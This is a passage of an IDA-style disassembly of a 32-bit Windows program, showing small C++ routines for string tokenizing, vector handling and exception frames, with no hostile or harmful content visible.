call sub_4012B2
mov eax, edi
pop edi
pop esi
pop ecx
retn 8
sub_40A4A0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A4E0: ; CODE XREF: ___:0040194Cj
push ecx
push esi
mov esi, [esp+0Ch]
push 1
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_402112
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A510 proc near ; CODE XREF: sub_4011EAj
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_40A510
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
mov edi, [esp+44h+arg_8]
mov esi, ecx
test edi, edi
mov [esp+44h+var_38], 0
jnz short loc_40A551
mov esi, [esp+44h+arg_0]
push offset byte_448F40
mov ecx, esi
call sub_401870
jmp loc_40A684
; ---------------------------------------------------------------------------
loc_40A551: ; CODE XREF: sub_40A510+2Aj
lea eax, [esp+44h+arg_8]
lea ecx, [esp+44h+var_34]
push eax
call sub_40169A
mov ecx, [esi+9]
mov [esp+44h+var_4], 1
push ecx
lea ecx, [esp+48h+var_24]
call sub_401870
lea ecx, [esp+44h+var_24]
mov byte ptr [esp+44h+var_4], 2
call sub_4014DD
mov [esp+44h+var_3C], eax
mov cl, [eax]
test cl, cl
jz loc_40A635
push ebx
loc_40A591: ; CODE XREF: sub_40A510+11Ej
mov dl, [edi]
cmp cl, dl
jnz short loc_40A5A0
loc_40A597: ; CODE XREF: sub_40A510+8Ej
inc eax
mov [esp+48h+var_3C], eax
cmp [eax], dl
jz short loc_40A597
loc_40A5A0: ; CODE XREF: sub_40A510+85j
cmp byte ptr [eax], 22h
setz bl
test bl, bl
jz short loc_40A5AF
inc eax
mov [esp+48h+var_3C], eax
loc_40A5AF: ; CODE XREF: sub_40A510+98j
lea edx, [esp+48h+var_3C]
lea ecx, [esp+48h+var_34]
push edx
call sub_401997
mov eax, [esp+48h+var_3C]
test bl, bl
mov cl, [eax]
jz short loc_40A5FF
test cl, cl
jz short loc_40A5E7
loc_40A5CB: ; CODE XREF: sub_40A510+D5j
cmp cl, 22h
jnz short loc_40A5DC
mov cl, [eax+1]
cmp cl, 20h
jz short loc_40A5E7
test cl, cl
jz short loc_40A5E7
loc_40A5DC: ; CODE XREF: sub_40A510+BEj
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A5CB
loc_40A5E7: ; CODE XREF: sub_40A510+B9j
; sub_40A510+C6j ...
cmp byte ptr [eax], 0
jz short loc_40A62A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
mov cl, [eax+1]
test cl, cl
jz short loc_40A62A
add eax, 2
jmp short loc_40A626
; ---------------------------------------------------------------------------
loc_40A5FF: ; CODE XREF: sub_40A510+B5j
test cl, cl
jz short loc_40A614
mov dl, [edi]
loc_40A605: ; CODE XREF: sub_40A510+102j
cmp cl, dl
jz short loc_40A614
inc eax
mov [esp+48h+var_3C], eax
mov cl, [eax]
test cl, cl
jnz short loc_40A605
loc_40A614: ; CODE XREF: sub_40A510+F1j
; sub_40A510+F7j
mov cl, [eax]
test cl, cl
jz short loc_40A62A
cmp cl, [edi]
jnz short loc_40A62A
mov byte ptr [eax], 0
mov eax, [esp+48h+var_3C]
inc eax
loc_40A626: ; CODE XREF: sub_40A510+EDj
mov [esp+48h+var_3C], eax
loc_40A62A: ; CODE XREF: sub_40A510+DAj
; sub_40A510+E8j ...
mov cl, [eax]
test cl, cl
jnz loc_40A591
pop ebx
loc_40A635: ; CODE XREF: sub_40A510+7Aj
lea ecx, [esp+44h+var_34]
call sub_4011F9
mov ecx, [esp+44h+arg_4]
cmp ecx, eax
jb short loc_40A64D
push offset byte_448F40
jmp short loc_40A65A
; ---------------------------------------------------------------------------
loc_40A64D: ; CODE XREF: sub_40A510+134j
push ecx
lea ecx, [esp+48h+var_34]
call sub_401F82
mov eax, [eax]
push eax
loc_40A65A: ; CODE XREF: sub_40A510+13Bj
mov esi, [esp+48h+arg_0]
mov ecx, esi
call sub_401870
lea ecx, [esp+44h+var_24]
mov [esp+44h+var_38], 1
call sub_401226
lea ecx, [esp+44h+var_34]
mov byte ptr [esp+44h+var_4], 0
call sub_401596
; ---------------------------------------------------------------------------
loc_40A684: ; CODE XREF: sub_40A510+3Cj
mov ecx, [esp+44h+var_C]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_40A510 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A710 proc near ; CODE XREF: sub_4016B8j
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ecx
mov eax, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push 0
push eax
push edx
push esi
mov [esp+18h+var_4], 0
call sub_4011EA
mov eax, esi
pop esi
pop ecx
retn 0Ch
sub_40A710 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A750 proc near ; CODE XREF: sub_40202Cj
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [esp+4+arg_0]
call sub_401389
push eax
mov ecx, esi
call sub_4015E1
pop esi
retn 4
sub_40A750 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A780 proc near ; CODE XREF: sub_401A9Bj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015E1
retn 4
sub_40A780 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7A0 proc near ; CODE XREF: sub_401479j
arg_0 = dword ptr 4
mov eax, [ecx+9]
mov ecx, [esp+arg_0]
add eax, ecx
retn 4
sub_40A7A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40A7C0: ; CODE XREF: ___:004014A6j
mov eax, [ecx+9]
mov ecx, [esp+4]
add eax, ecx
retn 4
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A7E0 proc near ; CODE XREF: sub_401389j
mov eax, [ecx+9]
retn
sub_40A7E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A800 proc near ; CODE XREF: sub_4017EEj
mov eax, [ecx+9]
retn
sub_40A800 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A820 proc near ; CODE XREF: sub_4014DDj
mov eax, [ecx+9]
retn
sub_40A820 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A840 proc near ; CODE XREF: sub_40169Aj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_40A840 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40A870 proc near ; CODE XREF: sub_401596j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019B5
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
sub_40A870 endp
; ---------------------------------------------------------------------------
xor eax, eax
loc_40A898: ; DATA XREF: ___:0044654Co
; ___:00446590o ...
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8C0 proc near ; CODE XREF: sub_4011F9j
mov edx, [ecx+4]
test edx, edx
jnz short loc_40A8CA
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40A8CA: ; CODE XREF: sub_40A8C0+5j
mov eax, [ecx+8]
sub eax, edx
sar eax, 2
retn
sub_40A8C0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_401F82j
arg_0 = dword ptr 4
push esi
push edi
mov esi, ecx
call sub_4011F9
mov edi, [esp+8+arg_0]
cmp eax, edi
ja short loc_40A908
mov ecx, esi
call sub_401F05
loc_40A908: ; CODE XREF: sub_40A8F0+Fj
mov ecx, esi
call sub_401D2F
lea eax, [eax+edi*4]
pop edi
pop esi
retn 4
sub_40A8F0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A930 proc near ; CODE XREF: sub_401997j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_401659
push eax
mov ecx, esi
call sub_4016F9
pop esi
retn 4
sub_40A930 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A960 proc near ; CODE XREF: sub_401D2Fj
mov eax, [ecx+4]
retn
sub_40A960 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A980 proc near ; CODE XREF: sub_401659j
mov eax, [ecx+8]
retn
sub_40A980 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9A0 proc near ; CODE XREF: sub_4016F9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, ecx
call sub_401D2F
mov edx, [esp+8+arg_4]
mov ecx, eax
mov eax, [esp+8+arg_0]
push edx
mov esi, eax
push 1
sub esi, ecx
push eax
mov ecx, edi
sar esi, 2
call sub_4013D9
mov ecx, edi
call sub_401D2F
lea eax, [eax+esi*4]
pop edi
pop esi
retn 8
sub_40A9A0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40A9F0 proc near ; CODE XREF: sub_4019B5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_4]
push esi
mov esi, [esp+8+arg_0]
push edi
cmp esi, ebx
mov edi, ecx
jz short loc_40AA10
loc_40AA01: ; CODE XREF: sub_40A9F0+1Ej
push esi
mov ecx, edi
call sub_4018C0
add esi, 4
cmp esi, ebx
jnz short loc_40AA01
loc_40AA10: ; CODE XREF: sub_40A9F0+Fj
pop edi
pop esi
pop ebx
retn 8
sub_40A9F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AA30: ; CODE XREF: sub_401F05j
push 0FFFFFFFFh
push offset loc_439DB9
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
lea eax, [esp+3]
lea ecx, [esp+4]
push eax
push offset aInvalidVectorT ; "invalid vector<T> subscript"
call near ptr 76081F67h
nop
lea ecx, [esp+4]
mov dword ptr [esp+38h], 0
push ecx
lea ecx, [esp+18h]
nop
call near ptr 760A0430h
lea edx, [esp+14h]
push offset dword_440088
push edx
call sub_437B22
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AAB0 proc near ; CODE XREF: sub_4011EFj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_437AD2
sub_40AAB0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AAD0 proc near ; CODE XREF: sub_4013D9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, [esp+10h+arg_4]
mov eax, [esi+8]
mov ecx, [esi+0Ch]
sub ecx, eax
sar ecx, 2
cmp ecx, edi
jnb loc_40AB9B
mov ecx, esi
call sub_4011F9
cmp edi, eax
jnb short loc_40AB03
mov ecx, esi
call sub_4011F9
mov ebp, eax
jmp short loc_40AB05
; ---------------------------------------------------------------------------
loc_40AB03: ; CODE XREF: sub_40AAD0+26j
mov ebp, edi
loc_40AB05: ; CODE XREF: sub_40AAD0+31j
mov ecx, esi
call sub_4011F9
mov ebx, eax
push 0
add ebx, ebp
mov ecx, esi
push ebx
call sub_401DE8
; ---------------------------------------------------------------------------
mov edx, [esp+10h+arg_0]
mov ebp, eax
mov eax, [esi+4]
push ebp
push edx
push eax
mov ecx, esi
call sub_4010CD
mov ecx, [esp+10h+arg_8]
mov [esp+10h+arg_4], eax
push ecx
push edi
push eax
mov ecx, esi
call sub_402194
mov edx, [esp+10h+arg_4]
mov ecx, [esi+8]
lea eax, [edx+edi*4]
mov edx, [esp+10h+arg_0]
push eax
push ecx
push edx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_4019B5
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_4011EF
; ---------------------------------------------------------------------------
lea eax, [ebp+ebx*4+0]
mov ecx, esi
mov [esi+0Ch], eax
call sub_4011F9
add eax, edi
mov [esi+4], ebp
pop edi
lea ecx, [ebp+eax*4+0]
mov [esi+8], ecx
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40AB9B: ; CODE XREF: sub_40AAD0+17j
mov ebx, [esp+10h+arg_0]
mov edx, eax
sub edx, ebx
sar edx, 2
cmp edx, edi
jnb short loc_40ABF9
lea ebp, ds:0[edi*4]
lea ecx, [ebx+ebp]
push ecx
push eax
push ebx
mov ecx, esi
call sub_4010CD
mov eax, [esi+8]
mov edx, [esp+10h+arg_8]
mov ecx, eax
push edx
sub ecx, ebx
sar ecx, 2
sub edi, ecx
mov ecx, esi
push edi
push eax
call sub_402194
mov edx, [esp+10h+arg_8]
mov eax, [esi+8]
push edx
push eax
push ebx
call sub_401E8D
mov eax, [esi+8]
add esp, 0Ch
add eax, ebp
mov [esi+8], eax
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40ABF9: ; CODE XREF: sub_40AAD0+D8j
test edi, edi
jbe short loc_40AC33
shl edi, 2
push eax
push eax
sub eax, edi
mov ecx, esi
push eax
call sub_4010CD
mov eax, [esi+8]
push eax
sub eax, edi
push eax
push ebx
call sub_4020CC
mov ecx, [esp+1Ch+arg_8]
lea edx, [edi+ebx]
push ecx
push edx
push ebx
call sub_401E8D
mov eax, [esi+8]
add esp, 18h
add eax, edi
mov [esi+8], eax
loc_40AC33: ; CODE XREF: sub_40AAD0+12Bj
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40AAD0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACA0 proc near ; CODE XREF: sub_4018C0j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_1
pop ecx
retn 4
sub_40ACA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ACC0 proc near ; CODE XREF: sub_4010CDj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
mov esi, [esp+0Ch+arg_0]
mov ebx, ecx
cmp esi, ebp
jz short loc_40ACF2
push edi
mov edi, [esp+10h+arg_8]
loc_40ACD6: ; CODE XREF: sub_40ACC0+27j
push esi
push edi
mov ecx, ebx
call sub_40213F
add esi, 4
add edi, 4
cmp esi, ebp
jnz short loc_40ACD6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
loc_40ACF2: ; CODE XREF: sub_40ACC0+Fj
mov eax, [esp+0Ch+arg_8]
pop esi
pop ebp
pop ebx
retn 0Ch
sub_40ACC0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD10 proc near ; CODE XREF: sub_402194j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebp
push edi
mov edi, [esp+8+arg_4]
mov ebp, ecx
test edi, edi
jbe short loc_40AD37
push ebx
mov ebx, [esp+0Ch+arg_8]
push esi
mov esi, [esp+10h+arg_0]
loc_40AD26: ; CODE XREF: sub_40AD10+23j
push ebx
push esi
mov ecx, ebp
call sub_40213F
add esi, 4
dec edi
jnz short loc_40AD26
pop esi
pop ebx
loc_40AD37: ; CODE XREF: sub_40AD10+Aj
pop edi
pop ebp
retn 0Ch
sub_40AD10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AD50 proc near ; CODE XREF: sub_401DE8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_4014D8
sub_40AD50 endp
; ---------------------------------------------------------------------------
add esp, 8
retn 8
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AD80 proc near ; CODE XREF: sub_40213Fj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push eax
push ecx
call sub_401E01
add esp, 8
retn 8
sub_40AD80 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADB0 proc near ; CODE XREF: sub_401E8Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp eax, ecx
jz short locret_40ADCD
mov edx, [esp+arg_8]
push esi
loc_40ADC1: ; CODE XREF: sub_40ADB0+1Aj
mov esi, [edx]
mov [eax], esi
add eax, 4
cmp eax, ecx
jnz short loc_40ADC1
pop esi
locret_40ADCD: ; CODE XREF: sub_40ADB0+Aj
retn
sub_40ADB0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40ADE0 proc near ; CODE XREF: sub_4020CCj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
cmp edx, ecx
jz short loc_40AE02
mov eax, [esp+arg_8]
push esi
loc_40ADF1: ; CODE XREF: sub_40ADE0+1Ej
mov esi, [ecx-4]
sub ecx, 4
sub eax, 4
cmp ecx, edx
mov [eax], esi
jnz short loc_40ADF1
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AE02: ; CODE XREF: sub_40ADE0+Aj
mov eax, [esp+arg_8]
retn
sub_40ADE0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40AE40 proc near ; CODE XREF: sub_4014D8j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
test eax, eax
jge short loc_40AE4A
xor eax, eax
loc_40AE4A: ; CODE XREF: sub_40AE40+6j
shl eax, 2
push eax
call sub_437AEA
sub_40AE40 endp
; ---------------------------------------------------------------------------
add esp, 4
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AE70 proc near ; CODE XREF: sub_401E01j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push eax
push 4
call sub_4011CC
add esp, 8
test eax, eax
jz short locret_40AE8B
mov ecx, [esp+arg_4]
mov edx, [ecx]
mov [eax], edx
locret_40AE8B: ; CODE XREF: sub_40AE70+11j
retn
sub_40AE70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AEA0 proc near ; CODE XREF: sub_401E88j
mov eax, ecx
mov dword ptr [eax], offset off_43F014
retn
sub_40AEA0 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AEC0: ; CODE XREF: ___:00401721j
; ___:loc_402045j
push esi
mov esi, ecx
call sub_40204F
test byte ptr [esp+8], 1
jz short loc_40AED8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40AED8: ; CODE XREF: ___:0040AECDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AEF0 proc near ; CODE XREF: sub_40204Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40AEF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push ebx
push esi
push edi
mov dword ptr [ecx], offset off_43F014
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call sub_40174E
loc_40AF21: ; DATA XREF: sub_40AF32o
mov ecx, [ebp+var_C]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40AEF0 endp
; =============== S U B R O U T I N E =======================================
sub_40AF32 proc near ; DATA XREF: ___:004401C4o
mov eax, offset loc_40AF21
retn
sub_40AF32 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF60 proc near ; CODE XREF: sub_4014C4j
call sub_401712
jmp sub_4017BC
sub_40AF60 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AF80 proc near ; CODE XREF: sub_401B2Cj
call sub_401627
jmp sub_4017CB
sub_40AF80 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40AFA0 proc near ; CODE XREF: sub_4013DEj
push esi
mov esi, ecx
push esi
push offset sub_401429
lea eax, [esi+0Ch]
push 0
push eax
call sub_40123A
add esp, 10h
test eax, eax
jnz short loc_40AFC2
mov al, 1
mov [esi+10h], al
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AFC2: ; CODE XREF: sub_40AFA0+19j
mov byte ptr [esi+10h], 0
xor al, al
pop esi
retn
sub_40AFA0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40AFE0: ; CODE XREF: ___:004011C2j
push ecx
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B007
mov ecx, [esi+0Ch]
lea eax, [esp+4]
push eax
push ecx
call sub_401767
mov eax, [esp+0Ch]
add esp, 8
mov byte ptr [esi+10h], 0
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
loc_40B007: ; CODE XREF: ___:0040AFE9j
xor eax, eax
pop esi
pop ecx
retn
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B020 proc near ; CODE XREF: sub_40174Ej
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B03C
mov eax, [esi+0Ch]
push 0Fh
push eax
call sub_401762
add esp, 8
mov byte ptr [esi+10h], 0
loc_40B03C: ; CODE XREF: sub_40B020+8j
pop esi
retn
sub_40B020 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40B050: ; CODE XREF: ___:004011F4j
mov eax, [ecx+0Ch]
retn
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B070 proc near ; CODE XREF: sub_401429j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_40B070
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov eax, [ecx]
mov [ebp+var_10], esp
mov [ebp+var_4], 0
call dword ptr [eax+4]
loc_40B09E: ; DATA XREF: sub_40B0B1o
mov ecx, [ebp+var_C]
pop edi
pop esi
xor eax, eax
mov large fs:0, ecx
pop ebx
mov esp, ebp
pop ebp
retn
sub_40B070 endp
; =============== S U B R O U T I N E =======================================
sub_40B0B1 proc near ; DATA XREF: ___:00440224o
mov eax, offset loc_40B09E
retn
sub_40B0B1 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B0E0 proc near ; CODE XREF: sub_401028j
var_8 = dword ptr -8
var_4 = byte ptr -4
sub esp, 8
push esi
mov esi, ecx
mov al, [esi+10h]
test al, al
jz short loc_40B122
mov edx, [esi+0Ch]
lea eax, [esp+0Ch+var_8]
lea ecx, [esp+0Ch+var_4]
push eax
push ecx
push edx
call sub_4021B2
mov edx, [esi+0Ch]
mov eax, [esp+18h+var_8]
lea ecx, [esp+18h+var_8]
mov [esi+8], eax
push ecx
push 1
push edx
mov [esp+24h+var_8], 0
call sub_401050
add esp, 18h
loc_40B122: ; CODE XREF: sub_40B0E0+Bj
pop esi
add esp, 8
retn
sub_40B0E0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40B150 proc near ; CODE XREF: sub_401DE3j
var_4 = dword ptr -4
push ecx
mov al, [ecx+10h]
test al, al
jz short loc_40B172
mov eax, [ecx+8]
lea edx, [esp+4+var_4]
mov [esp+4+var_4], eax
mov eax, [ecx+0Ch]
push edx
push 1
push eax
call sub_401050
add esp, 0Ch
loc_40B172: ; CODE XREF: sub_40B150+6j
pop ecx
retn
sub_40B150 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B190 proc near ; CODE XREF: sub_401A00j
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B190
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov [esp+1Ch+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+1Ch+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+1Ch+var_4], 1
call sub_401753
lea edi, [esi+8Eh]
lea eax, [esp+1Ch+var_11]
push eax
mov ecx, edi
mov byte ptr [esp+20h+var_4], 2
call sub_401C08
sub_40B190 endp
; ---------------------------------------------------------------------------
mov ecx, edi
mov byte ptr [esp+18h], 3
mov dword ptr [esi], offset off_43F020
call sub_401C03
mov ecx, [esp+10h]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B250 proc near ; CODE XREF: sub_401AFAj
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B250
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push edi
mov [esp+18h+var_10], esi
mov dword ptr [esi], offset off_43F020
lea edi, [esi+8Eh]
mov [esp+18h+var_4], 3
mov ecx, edi
call sub_401C03
mov ecx, edi
mov byte ptr [esp+18h+var_4], 2
call sub_40155F
sub_40B250 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+60h]
mov byte ptr [esp+14h], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h], 0
call sub_401023
lea ecx, [esi+4]
mov dword ptr [esp+14h], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+0Ch]
pop edi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40B2F0 proc near ; CODE XREF: sub_4017F8j
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40B2F0
